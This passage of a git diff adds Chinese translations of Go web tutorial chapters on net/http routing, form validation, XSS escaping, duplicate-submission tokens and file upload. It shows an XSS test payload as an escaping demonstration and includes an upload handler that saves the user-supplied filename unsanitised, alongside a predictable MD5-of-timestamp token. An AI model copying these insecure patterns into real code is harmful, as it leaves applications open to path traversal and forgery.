:= e.(net.Error); ok && ne.Temporary() { + if tempDelay == 0 { + tempDelay = 5 * time.Millisecond + } else { + tempDelay *= 2 + } + if max := 1 * time.Second; tempDelay > max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } +} +``` + +監聽之後如何接收客戶端的請求呢?上面程式碼執行監聽埠之後,呼叫了`srv.Serve(net.Listener)`函式,這個函式就是處理接收客戶端的請求資訊。這個函式裡面起了一個`for{}`,首先透過 Listener 接收請求,其次建立一個 Conn,最後單獨開了一個 goroutine,把這個請求的資料當做參數扔給這個 conn 去服務:`go c.serve()`。這個就是高併發體現了,使用者的每一次請求都是在一個新的 goroutine 去服務,相互不影響。 + +那麼如何具體分配到相應的函式來處理請求呢?conn 首先會解析 request:`c.readRequest()`,然後取得相應的 handler:`handler := c.server.Handler`,也就是我們剛才在呼叫函式 `ListenAndServe` 時候的第二個參數,我們前面例子傳遞的是 nil,也就是為空,那麼預設取得`handler = DefaultServeMux`,那麼這個變數用來做什麼的呢?對,這個變數就是一個路由器,它用來匹配 url 跳轉到其相應的 handle 函式,那麼這個我們有設定過嗎 ? 有,我們呼叫的程式碼裡面第一句不是呼叫了`http.HandleFunc("/", sayhelloName)`嘛。這個作用就是註冊了請求`/`的路由規則,當請求 uri 為"/",路由就會轉到函式 sayhelloName,DefaultServeMux 會呼叫 ServeHTTP 方法,這個方法內部其實就是呼叫 sayhelloName 本身,最後透過寫入 response 的資訊反饋到客戶端。 + + +詳細的整個流程如下圖所示: + +![](images/3.3.illustrator.png) + +圖 3.10 一個 http 連線處理流程 + +至此我們的三個問題已經全部得到了解答,你現在對於 Go 如何讓 Web 跑起來的是否已經基本了解了呢? + + +## links + * [目錄]() + * 上一節:[GO 建立一個簡單的 web 服務](<03.2.md>) + * 下一節:[Go 的 http 套件詳解](<03.4.md>) diff --git a/zh-tw/03.4.md b/zh-tw/03.4.md new file mode 100644 index 000000000..3fad6ca6f --- /dev/null +++ b/zh-tw/03.4.md @@ -0,0 +1,210 @@ +# 3.4 Go 的 http 套件詳解 +前面小節介紹了 Go 怎麼樣實現了 Web 工作模式的一個流程,這一小節,我們將詳細地解剖一下 http 套件,看它到底是怎樣實現整個過程的。 + +Go 的 http 有兩個核心功能:Conn、ServeMux + +## Conn 的 goroutine + +與我們一般編寫的 http 伺服器不同, Go 為了實現高併發和高效能, 使用了 goroutines 來處理 Conn 的讀寫事件, 這樣每個請求都能保持獨立,相互不會阻塞,可以高效的回應網路事件。這是 Go 高效的保證。 + +Go 在等待客戶端請求裡面是這樣寫的: + +```Go + +c, err := srv.newConn(rw) +if err != nil { + continue +} +go c.serve() +``` + +這裡我們可以看到客戶端的每次請求都會建立一個 Conn,這個 Conn 裡面儲存了該次請求的資訊,然後再傳遞到對應的 handler,該 handler 中便可以讀取到相應的 header 資訊,這樣保證了每個請求的獨立性。 + +## ServeMux 的自訂 +我們前面小節講述 conn.server 的時候,其實內部是呼叫了 http 套件預設的路由器,透過路由器把本次請求的資訊傳遞到了後端的處理函式。那麼這個路由器是怎麼實現的呢? + +它的結構如下: + +```Go + +type ServeMux struct { + mu sync.RWMutex //鎖,由於請求涉及到併發處理,因此這裡需要一個鎖機制 + m map[string]muxEntry // 路由規則,一個 string 對應一個 mux 實體,這裡的 string 就是註冊的路由表示式 + hosts bool // 是否在任意的規則中帶有 host 資訊 +} +``` + +下面看一下 muxEntry + +```Go + +type muxEntry struct { + explicit bool // 是否精確匹配 + h Handler // 這個路由表示式對應哪個 handler + + pattern string //匹配字串 +} +``` + +接著看一下 Handler 的定義 + +```Go + +type Handler interface { + ServeHTTP(ResponseWriter, *Request) // 路由實現器 +} +``` + +Handler 是一個介面,但是前一小節中的 `sayhelloName` 函式並沒有實現 ServeHTTP 這個介面,為什麼能新增呢?原來在 http 套件裡面還定義了一個型別`HandlerFunc`,我們定義的函式 `sayhelloName` 就是這個 HandlerFunc 呼叫之後的結果,這個型別預設就實現了 ServeHTTP 這個介面,即我們呼叫了 HandlerFunc(f),強制型別轉換 f 成為 HandlerFunc 型別,這樣 f 就擁有了 ServeHTTP 方法。 + +```Go + +type HandlerFunc func(ResponseWriter, *Request) + +// ServeHTTP calls f(w, r). +func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) +} +``` +路由器裡面儲存好了相應的路由規則之後,那麼具體的請求又是怎麼分發的呢?請看下面的程式碼,預設的路由器實現了`ServeHTTP`: + +```Go + +func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { + if r.RequestURI == "*" { + w.Header().Set("Connection", "close") + w.WriteHeader(StatusBadRequest) + return + } + h, _ := mux.Handler(r) + h.ServeHTTP(w, r) +} +``` +如上所示路由器接收到請求之後,如果是`*`那麼關閉連結,不然呼叫`mux.Handler(r)`回傳對應設定路由的處理 Handler,然後執行`h.ServeHTTP(w, r)` + +也就是呼叫對應路由的 handler 的 ServerHTTP 介面,那麼 mux.Handler(r)怎麼處理的呢? + +```Go + +func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { + if r.Method != "CONNECT" { + if p := cleanPath(r.URL.Path); p != r.URL.Path { + _, pattern = mux.handler(r.Host, p) + return RedirectHandler(p, StatusMovedPermanently), pattern + } + } + return mux.handler(r.Host, r.URL.Path) +} + +func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + if mux.hosts { + h, pattern = mux.match(host + path) + } + if h == nil { + h, pattern = mux.match(path) + } + if h == nil { + h, pattern = NotFoundHandler(), "" + } + return +} +``` +原來他是根據使用者請求的 URL 和路由器裡面儲存的 map 去匹配的,當匹配到之後回傳儲存的 handler,呼叫這個 handler 的 ServeHTTP 介面就可以執行到相應的函數了。 + +透過上面這個介紹,我們了解了整個路由過程,Go 其實支援外部實現的路由器 `ListenAndServe`的第二個參數就是用以配置外部路由器的,它是一個 Handler 介面,即外部路由器只要實現了 Handler 介面就可以,我們可以在自己實現的路由器的 ServeHTTP 裡面實現自訂路由功能。 + +如下程式碼所示,我們自己實現了一個簡易的路由器 + +```Go + +package main + +import ( + "fmt" + "net/http" +) + +type MyMux struct { +} + +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} +``` +## Go 程式碼的執行流程 + +透過對 http 套件的分析之後,現在讓我們來梳理一下整個的程式碼執行過程。 + +- 首先呼叫 Http.HandleFunc + + 按順序做了幾件事: + + 1 呼叫了 DefaultServeMux 的 HandleFunc + + + 2 呼叫了 DefaultServeMux 的 Handle + + + 3 往 DefaultServeMux 的 map[string]muxEntry 中增加對應的 handler 和路由規則 + +- 其次呼叫 http.ListenAndServe(":9090", nil) + + 按順序做了幾件事情: + + 1 實體化 Server + + 2 呼叫 Server 的 ListenAndServe() + + 3 呼叫 net.Listen("tcp", addr)監聽埠 + + 4 啟動一個 for 迴圈,在迴圈體中 Accept 請求 + + 5 對每個請求實體化一個 Conn,並且開啟一個 goroutine 為這個請求進行服務 go c.serve() + + 6 讀取每個請求的內容 w, err := c.readRequest() + + 7 判斷 handler 是否為空,如果沒有設定 handler(這個例子就沒有設定 handler),handler 就設定為 DefaultServeMux + + + 8 呼叫 handler 的 ServeHttp + + + 9 在這個例子中,下面就進入到 DefaultServeMux.ServeHttp + + 10 根據 request 選擇 handler,並且進入到這個 handler 的 ServeHTTP + + + mux.handler(r).ServeHTTP(w, r) + + 11 選擇 handler: + + A 判斷是否有路由能滿足這個 request(迴圈遍歷 ServeMux 的 muxEntry) + + B 如果有路由滿足,呼叫這個路由 handler 的 ServeHTTP + + + C 如果沒有路由滿足,呼叫 NotFoundHandler 的 ServeHTTP + + +## links + * [目錄]() + * 上一節:[Go 如何使得 web 工作](<03.3.md>) + * 下一節:[小結](<03.5.md>) diff --git a/zh-tw/03.5.md b/zh-tw/03.5.md new file mode 100644 index 000000000..de4cc2357 --- /dev/null +++ b/zh-tw/03.5.md @@ -0,0 +1,9 @@ +# 3.5 小結 +這一章我們介紹了 HTTP 協議, DNS 解析的過程, 如何用 go 實現一個簡陋的 web server。並深入到 net/http 套件的原始碼中為大家揭開實現此 server 的祕密。 + +希望透過這一章的學習,你能夠對 Go 開發 Web 有了初步的了解,我們也看到相應的程式碼了,Go 開發 Web 應用是很方便的,同時又是相當的靈活。 + +## links + * [目錄]() + * 上一節:[Go 的 http 套件詳解](<03.4.md>) + * 下一章:[表單](<04.0.md>) diff --git a/zh-tw/04.0.md b/zh-tw/04.0.md new file mode 100644 index 000000000..434d85966 --- /dev/null +++ b/zh-tw/04.0.md @@ -0,0 +1,25 @@ +# 4 表單 + +表單是我們平常編寫 Web 應用常用的工具,透過表單我們可以方便的讓客戶端和伺服器進行資料的互動。對於以前開發過 Web 的使用者來說表單都非常熟悉,但是對於 C/C++程式設計師來說,這可能是一個有些陌生的東西,那麼什麼是表單呢? + +表單是一個包含表單元素的區域。表單元素(比如:文字域、下拉列表、單選框、複選框等等)是允許使用者在表單中輸入資訊的元素。表單使用表單標籤(\)定義。 + +
+ ... + input 元素 + ... +
+ +Go 裡面對於 form 處理已經有很方便的方法了,在 Request 裡面有專門的 form 處理,可以很方便的整合到 Web 開發裡面來,4.1 小節裡面將講解 Go 如何處理表單的輸入。由於不能信任任何使用者的輸入,所以我們需要對這些輸入進行有效性驗證,4.2 小節將就如何進行一些普通的驗證進行詳細的示範。 + +HTTP 協議是一種無狀態的協議,那麼如何才能辨別是否是同一個使用者呢?同時又如何保證一個表單不出現多次提交的情況呢?4.3 和 4.4 小節裡面將對 cookie(cookie 是儲存在客戶端的資訊,能夠每次透過 header 和伺服器進行互動的資料)等進行詳細講解。 + +表單還有一個很大的功能就是能夠上傳檔案,那麼 Go 是如何處理檔案上傳的呢?針對大檔案上傳我們如何有效的處理呢?4.5 小節我們將一起學習 Go 處理檔案上傳的知識。 + +## 目錄 +![](images/navi4.png) + +## links + * [目錄]() + * 上一章:[第三章總結](<03.5.md>) + * 下一節:[處理表單的輸入](<04.1.md>) diff --git a/zh-tw/04.1.md b/zh-tw/04.1.md new file mode 100644 index 000000000..efa90373c --- /dev/null +++ b/zh-tw/04.1.md @@ -0,0 +1,112 @@ +# 4.1 處理表單的輸入 + +先來看一個表單提交的例子,我們有如下的表單內容,命名成檔案 login.gtpl(放入當前建立專案的目錄裡面) +```html + + + + + + +
+ 使用者名稱: + 密碼: + +
+ + +``` +上面提交表單到伺服器的`/login`,當用戶輸入資訊點選登入之後,會跳轉到伺服器的路由 `login` 裡面,我們首先要判斷這個是什麼方式傳遞過來,POST 還是 GET 呢? + +http 套件裡面有一個很簡單的方式就可以取得,我們在前面 web 的例子的基礎上來看看怎麼處理 login 頁面的 form 資料 + +```Go +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //解析 url 傳遞的參數,對於 POST 則解析 HTTP 回應內容的主體(request body) + //注意 : 如果沒有呼叫 ParseForm 方法,下面無法取得表單的資料 + fmt.Println(r.Form) //這些資訊是輸出到伺服器端的列印資訊 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") //這個寫入到 w 的是輸出到客戶端的 +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //取得請求的方法 + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + log.Println(t.Execute(w, nil)) + } else { + //請求的是登入資料,那麼執行登入的邏輯判斷 + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } +} + +func main() { + http.HandleFunc("/", sayhelloName) //設定訪問的路由 + http.HandleFunc("/login", login) //設定訪問的路由 + err := http.ListenAndServe(":9090", nil) //設定監聽的埠 + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} +``` + +透過上面的程式碼我們可以看出取得請求方法是透過`r.Method`來完成的,這是個字串型別的變數,回傳 GET, POST, PUT 等 method 資訊。 + +login 函式中我們根據`r.Method`來判斷是顯示登入介面還是處理登入邏輯。當 GET 方式請求時顯示登入介面,其他方式請求時則處理登入邏輯,如查詢資料庫、驗證登入資訊等。 + +當我們在瀏覽器裡面開啟`http://127.0.0.1:9090/login`的時候,出現如下介面 + +![](images/4.1.login.png) + +如果你看到一個空頁面,可能是你寫的 login.gtpl 檔案中有錯誤,請根據控制檯中的日誌進行修復。 + +圖 4.1 使用者登入介面 + +我們輸入使用者名稱和密碼之後發現在伺服器端是不會顯示出來任何輸出的,為什麼呢?預設情況下,Handler 裡面是不會自動解析 form 的,必須明確的呼叫`r.ParseForm()`後,你才能對這個表單資料進行操作。我們修改一下程式碼,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新編譯,再次測試輸入提交,現在是不是在伺服器端有輸出你的輸入的使用者名稱和密碼了。 + +`r.Form`裡面包含了所有請求的參數,比如 URL 中 query-string、POST 的資料、PUT 的資料,所以當你在 URL 中的 query-string 欄位和 POST 衝突時,會儲存成一個 slice,裡面儲存了多個值,Go 官方文件中說在接下來的版本里面將會把 POST、GET 這些資料分離開來。 + +現在我們修改一下 login.gtpl 裡面 form 的 action 值`http://127.0.0.1:9090/login`修改為`http://127.0.0.1:9090/login?username=astaxie`,再次測試,伺服器的輸出 username 是不是一個 slice。伺服器端的輸出如下: + +![](images/4.1.slice.png) + +圖 4.2 伺服器端列印接收到的資訊 + +`request.Form`是一個 url.Values 型別,裡面儲存的是對應的類似 `key=value` 的資訊,下面展示了可以對 form 資料進行的一些操作: + +```Go +v := url.Values{} +v.Set("name", "Ava") +v.Add("friend", "Jess") +v.Add("friend", "Sarah") +v.Add("friend", "Zoe") +// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" +fmt.Println(v.Get("name")) +fmt.Println(v.Get("friend")) +fmt.Println(v["friend"]) +``` + +>**Tips**: +>Request 本身也提供了 FormValue()函式來取得使用者提交的參數。如 r.Form["username"]也可寫成 r.FormValue("username")。呼叫 r.FormValue 時會自動呼叫 r.ParseForm,所以不必提前呼叫。r.FormValue 只會回傳同名參數中的第一個,若參數不存在則回傳空字串。 + +## links + * [目錄]() + * 上一節:[表單](<04.0.md>) + * 下一節:[驗證表單的輸入](<04.2.md>) diff --git a/zh-tw/04.2.md b/zh-tw/04.2.md new file mode 100644 index 000000000..04242d45a --- /dev/null +++ b/zh-tw/04.2.md @@ -0,0 +1,180 @@ +# 4.2 驗證表單的輸入 + +開發 Web 的一個原則就是,不能信任使用者輸入的任何資訊,所以驗證和過濾使用者的輸入資訊就變得非常重要,我們經常會在微博、新聞中聽到某某網站被入侵了,存在什麼漏洞,這些大多是因為網站對於使用者輸入的資訊沒有做嚴格的驗證引起的,所以為了編寫出安全可靠的 Web 程式,驗證表單輸入的意義重大。 + +我們平常編寫 Web 應用主要有兩方面的資料驗證,一個是在頁面端的 js 驗證(目前在這方面有很多的外掛函式庫,比如 ValidationJS 外掛),一個是在伺服器端的驗證,我們這小節講解的是如何在伺服器端驗證。 + +## 必填欄位 +你想要確保從一個表單元素中得到一個值,例如前面小節裡面的使用者名稱,我們如何處理呢?Go 有一個內建函式 `len` 可以取得字串的長度,這樣我們就可以透過 len 來取得資料的長度,例如: + +```Go +if len(r.Form["username"][0])==0{ + //為空的處理 +} +``` +`r.Form`對不同型別的表單元素的留空有不同的處理, 對於空文字框、空文字區域以及檔案上傳,元素的值為空值,而如果是未選中的複選框和單選按鈕,則根本不會在 r.Form 中產生相應條目,如果我們用上面例子中的方式去取得資料時程式就會報錯。所以我們需要透過`r.Form.Get()`來取得值,因為如果欄位不存在,透過該方式取得的是空值。但是透過`r.Form.Get()`只能取得單個的值,如果是 map 的值,必須透過上面的方式來取得。 + +## 數字 +你想要確保一個表單輸入框中取得的只能是數字,例如,你想透過表單取得某個人的具體年齡是 50 歲還是 10 歲,而不是像“一把年紀了”或“年輕著呢”這種描述 + +如果我們是判斷正整數,那麼我們先轉化成 int 型別,然後進行處理 + +```Go +getint,err:=strconv.Atoi(r.Form.Get("age")) +if err!=nil{ + //數字轉化出錯了,那麼可能就不是數字 +} + +//接下來就可以判斷這個數字的大小範圍了 +if getint >100 { + //太大了 +} +``` +還有一種方式就是正則匹配的方式 + +```Go +if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false +} +``` +對於效能要求很高的使用者來說,這是一個老生常談的問題了,他們認為應該儘量避免使用正則表示式,因為使用正則表示式的速度會比較慢。但是在目前機器效能那麼強勁的情況下,對於這種簡單的正則表示式效率和型別轉換函式是沒有什麼差別的。如果你對正則表示式很熟悉,而且你在其它語言中也在使用它,那麼在 Go 裡面使用正則表示式將是一個便利的方式。 + +>Go 實現的正則是[RE2](http://code.google.com/p/re2/wiki/Syntax),所有的字元都是 UTF-8 編碼的。 + +## 中文 +有時候我們想透過表單元素取得一個使用者的中文名字,但是又為了保證取得的是正確的中文,我們需要進行驗證,而不是使用者隨便的一些輸入。對於中文我們目前有兩種方式來驗證,可以使用 `unicode` 套件提供的 `func Is(rangeTab *RangeTable, r rune) bool` 來驗證,也可以使用正則方式來驗證,這裡使用最簡單的正則方式,如下程式碼所示 + +```Go +if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m { + return false +} +``` +## 英文 +我們期望透過表單元素取得一個英文值,例如我們想知道一個使用者的英文名,應該是 astaxie,而不是 asta 謝。 + +我們可以很簡單的透過正則驗證資料: + +```Go +if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false +} +``` + +## 電子郵件地址 +你想知道使用者輸入的一個 Email 地址是否正確,透過如下這個方式可以驗證: + +```Go +if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") +}else{ + fmt.Println("yes") +} +``` + +## 手機號碼 +你想要判斷使用者輸入的手機號碼是否正確,透過正則也可以驗證: + +```Go +if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { + return false +} +``` +## 下拉選單 +如果我們想要判斷表單裡面 ` + + + + +``` +那麼我們可以這樣來驗證 + +```Go +slice:=[]string{"apple","pear","banana"} + +v := r.Form.Get("fruit") +for _, item := range slice { + if item == v { + return true + } +} + +return false +``` +## 單選按鈕 +如果我們想要判斷 radio 按鈕是否有一個被選中了,我們頁面的輸出可能就是一個男、女性別的選擇,但是也可能一個 15 歲大的無聊小孩,一手拿著 http 協議的書,另一隻手透過 telnet 客戶端向你的程式在傳送請求呢,你設定的性別男值是 1,女是 2,他給你傳送一個 3,你的程式會出現異常嗎?因此我們也需要像下拉選單的判斷方式類似,判斷我們取得的值是我們預設的值,而不是額外的值。 +```html + +男 +女 +``` +那我們也可以類似下拉選單的做法一樣 + +```Go +slice:=[]string{"1","2"} + +for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } +} +return false +``` +## 複選框 +有一項選擇興趣的複選框,你想確定使用者選中的和你提供給使用者選擇的是同一個型別的資料。 +```html + +足球 +籃球 +網球 +``` +對於複選框我們的驗證和單選有點不一樣,因為接收到的資料是一個 slice + +```Go +slice:=[]string{"football","basketball","tennis"} +a:=Slice_diff(r.Form["interest"],slice) +if a == nil{ + return true +} + +return false +``` +上面這個函式 `Slice_diff` 套件含在我開源的一個函式庫裡面(操作 slice 和 map 的函式庫),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## 日期和時間 +你想確定使用者填寫的日期或時間是否有效。例如 +,使用者在日程表中安排 8 月份的第 45 天開會,或者提供未來的某個時間作為生日。 + +Go 裡面提供了一個 time 的處理套件,我們可以把使用者的輸入年月日轉化成相應的時間,然後進行邏輯判斷 + +```Go +t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) +fmt.Printf("Go launched at %s\n", t.Local()) +``` +取得 time 之後我們就可以進行很多時間函式的操作。具體的判斷就根據自己的需求調整。 + +## 身份證號碼 +如果我們想驗證表單輸入的是否是身份證,透過正則也可以方便的驗證,但是身份證有 15 位和 18 位,我們兩個都需要驗證 + +```Go +//驗證 15 位身份證,15 位的是全部數字 +if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { + return false +} + +//驗證 18 位身份證,18 位前 17 位為數字,最後一位是校驗位,可能為數字或字元 X。 +if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { + return false +} +``` + +上面列出了我們一些常用的伺服器端的表單元素驗證,希望透過這個引匯入門,能夠讓你對 Go 的資料驗證有所了解,特別是 Go 裡面的正則處理。 + +## links + * [目錄]() + * 上一節:[處理表單的輸入](<04.1.md>) + * 下一節:[預防跨站指令碼](<04.3.md>) diff --git a/zh-tw/04.3.md b/zh-tw/04.3.md new file mode 100644 index 000000000..76db33e7b --- /dev/null +++ b/zh-tw/04.3.md @@ -0,0 +1,72 @@ +# 4.3 預防跨站指令碼 + +現在的網站包含大量的動態內容以提高使用者體驗,比過去要複雜得多。所謂動態內容,就是根據使用者環境和需要,Web 應用程式能夠輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。 + +攻擊者通常會在有漏洞的程式中插入 JavaScript、VBScript、 ActiveX 或 Flash 以欺騙使用者。一旦得手,他們可以盜取使用者帳戶資訊,修改使用者設定,盜取/汙染 cookie 和植入惡意廣告等。 + +對 XSS 最佳的防護應該結合以下兩種方法:一是驗證所有輸入資料,有效檢測攻擊(這個我們前面小節已經有過介紹);另一個是對所有輸出資料進行適當的處理,以防止任何已成功注入的指令碼在瀏覽器端執行。 + +那麼 Go 裡面是怎麼做這個有效防護的呢?Go 的 html/template 裡面帶有下面幾個函式可以幫你轉義 + +- func HTMLEscape(w io.Writer, b []byte) //把 b 進行轉義之後寫到 w +- func HTMLEscapeString(s string) string //轉義 s 之後回傳結果字串 +- func HTMLEscaper(args ...interface{}) string //支援多個參數一起轉義,回傳結果字串 + + +我們看 4.1 小節的例子 + +```Go +fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到伺服器端 +fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) +template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端 +``` +如果我們輸入的 username 是``,那麼我們可以在瀏覽器上面看到輸出如下所示: + +![](images/4.3.escape.png) + +圖 4.3 Javascript 過濾之後的輸出 + +Go 的 html/template 套件預設幫你過濾了 html 標籤,但是有時候你只想要輸出這個``看起來正常的資訊,該怎麼處理?請使用 text/template。請看下面的例子: + +```Go +import "text/template" +... +t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) +err = t.ExecuteTemplate(out, "T", "") +``` +輸出 + + Hello, ! + +或者使用 template.HTML 型別 + +```Go +import "html/template" +... +t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) +err = t.ExecuteTemplate(out, "T", template.HTML("")) +``` +輸出 + + Hello, ! + +轉換成`template.HTML`後,變數的內容也不會被轉義 + +轉義的例子: + +```Go +import "html/template" +... +t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) +err = t.ExecuteTemplate(out, "T", "") +``` +轉義之後的輸出: + + Hello, <script>alert('you have been pwned')</script>! + + + +## links + * [目錄]() + * 上一節:[驗證的輸入](<04.2.md>) + * 下一節:[防止多次提交表單](<04.4.md>) diff --git a/zh-tw/04.4.md b/zh-tw/04.4.md new file mode 100644 index 000000000..e45fe936c --- /dev/null +++ b/zh-tw/04.4.md @@ -0,0 +1,60 @@ +# 4.4 防止多次提交表單 + +不知道你是否曾經看到過一個論壇或者部落格,在一個帖子或者文章後面出現多條重複的記錄,這些大多數是因為使用者重複提交了留言的表單引起的。由於種種原因,使用者經常會重複提交表單。通常這只是滑鼠的誤操作,如雙擊了提交按鈕,也可能是為了編輯或者再次核對填寫過的資訊,點選了瀏覽器的後退按鈕,然後又再次點選了提交按鈕而不是瀏覽器的前進按鈕。當然,也可能是故意的——比如,在某項線上調查或者博彩活動中重複投票。那我們如何有效的防止使用者多次提交相同的表單呢? + +解決方案是在表單中新增一個帶有唯一值的隱藏欄位。在驗證表單時,先檢查帶有該唯一值的表單是否已經提交過了。如果是,拒絕再次提交;如果不是,則處理表單進行邏輯處理。另外,如果是採用了 Ajax 模式提交表單的話,當表單提交後,透過 javascript 來禁用表單的提交按鈕。 + +我繼續拿 4.2 小節的例子優化: +```html + +足球 +籃球 +網球 +使用者名稱: +密碼: + + +``` +我們在模版裡面增加了一個隱藏欄位`token`,這個值我們透過 MD5(時戳) 來取得唯一值,然後我們把這個值儲存到伺服器端(session 來控制,我們將在第六章講解如何儲存),以方便表單提交時比對判定。 + +```Go +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //取得請求的方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + //請求的是登陸資料,那麼執行登陸的邏輯判斷 + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //驗證 token 的合法性 + } else { + //不存在 token 報錯 + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到伺服器端 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端 + } +} +``` +上面的程式碼輸出到頁面的原始碼如下: + +![](images/4.4.token.png) + +圖 4.4 增加 token 之後在客戶端輸出的原始碼資訊 + +我們看到 token 已經有輸出值,你可以不斷的重新整理,可以看到這個值在不斷的變化。這樣就保證了每次顯示 form 表單的時候都是唯一的,使用者提交的表單保持了唯一性。 + +我們的解決方案可以防止非惡意的攻擊,並能使惡意使用者暫時不知所措,然後,它卻不能排除所有的欺騙性的動機,對此類別情況還需要更復雜的工作。 + +## links + * [目錄]() + * 上一節:[預防跨站指令碼](<04.3.md>) + * 下一節:[處理檔案上傳](<04.5.md>) diff --git a/zh-tw/04.5.md b/zh-tw/04.5.md new file mode 100644 index 000000000..c120ea729 --- /dev/null +++ b/zh-tw/04.5.md @@ -0,0 +1,161 @@ +# 4.5 處理檔案上傳 +你想處理一個由使用者上傳的檔案,比如你正在建設一個類似 Instagram 的網站,你需要儲存使用者拍攝的照片。這種需求該如何實現呢? + +要使表單能夠上傳檔案,首先第一步就是要新增 form 的`enctype`屬性,`enctype`屬性有如下三種情況: +``` + +application/x-www-form-urlencoded 表示在傳送前編碼所有字元(預設) +multipart/form-data 不對字元編碼。在使用包含檔案上傳控制元件的表單時,必須使用該值。 +text/plain 空格轉換為 "+" 加號,但不對特殊字元編碼。 +``` +所以,建立新的表單 html 檔案, 命名為 upload.gtpl, html 程式碼應該類似於: +```html + + + + 上傳檔案 + + +
+ + + +
+ + +``` +在伺服器端,我們增加一個 handlerFunc: + +```Go +http.HandleFunc("/upload", upload) + +// 處理/upload 邏輯 +func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //取得請求的方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此處假設當前目錄下已存在 test 目錄 + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } +} +``` +透過上面的程式碼可以看到,處理檔案上傳我們需要呼叫 `r.ParseMultipartForm`,裡面的參數表示 `maxMemory`,呼叫 `ParseMultipartForm` 之後,上傳的檔案儲存在 `maxMemory` 大小的記憶體裡面,如果檔案大小超過了 `maxMemory`,那麼剩下的部分將儲存在系統的臨時檔案中。我們可以透過 `r.FormFile` 取得上面的檔案控制代碼,然後範例中使用了 `io.Copy` 來儲存檔案。 + +>取得其他非檔案欄位資訊的時候就不需要呼叫 `r.ParseForm`,因為在需要的時候 Go 自動會去呼叫。而且 `ParseMultipartForm` 呼叫一次之後,後面再次呼叫不會再有效果。 + +透過上面的範例我們可以看到我們上傳檔案主要三步處理: + +1. 表單中增加 enctype="multipart/form-data" +2. 伺服器端呼叫 `r.ParseMultipartForm`,把上傳的檔案儲存在記憶體和臨時檔案中 +3. 使用 `r.FormFile` 取得檔案控制代碼,然後對檔案進行儲存等處理。 + +檔案 handler 是 multipart.FileHeader,裡面儲存了如下結構資訊 + +```Go +type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields +} +``` +我們透過上面的範例程式碼顯示出來上傳檔案的資訊如下 + +![](images/4.5.upload2.png) + +圖 